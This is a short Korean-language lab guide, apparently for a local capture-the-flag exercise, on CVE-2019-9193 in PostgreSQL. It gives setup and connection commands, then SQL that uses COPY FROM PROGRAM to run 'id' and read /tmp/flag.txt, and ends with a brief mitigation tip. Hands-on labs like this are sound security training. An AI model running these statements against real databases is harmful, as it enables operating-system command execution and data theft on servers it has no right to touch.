
이 랩은 CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE를 시뮬레이션합니다.
이 랩은 CVE-2019-9193 취약점을 시뮬레이션합니다. PostgreSQL 9.3–11.2에서 발견된 이 취약점은 슈퍼유저 또는 pg_execute_server_program 역할을 가진 사용자가 다음 명령을 실행할 수 있게 합니다:
COPY ... FROM PROGRAM '<command>'
이를 통해 OS 명령을 직접 실행할 수 있으며, 데이터베이스에 접근할 수 있는 공격자가 **원격 명령 실행(RCE)**을 초래할 수 있습니다.
이 랩에서는 이 기능을 활용하여 다음 파일을 읽어야 합니다:
/tmp/flag.txt
COPY FROM PROGRAM을 사용하여:
docker compose build
docker compose up -d
다음 명령으로 연결:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
예시 출력:
flag{SECRET}
pg_execute_server_program을 부여하지 마세요